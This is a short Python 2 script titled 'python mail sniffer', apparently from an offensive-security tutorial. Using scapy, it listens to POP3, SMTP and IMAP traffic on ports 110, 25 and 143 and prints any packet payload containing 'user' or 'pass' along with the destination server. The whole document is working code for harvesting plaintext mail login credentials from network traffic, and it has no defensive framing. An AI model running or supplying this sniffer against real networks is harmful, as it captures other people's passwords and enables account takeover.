python mail sniffer

import threading
from scapy.all import *

# our packet callback
def packet_callback(packet):

    if packet[TCP].payload:

        mail_packet = str(packet[TCP].payload)

        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload


# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)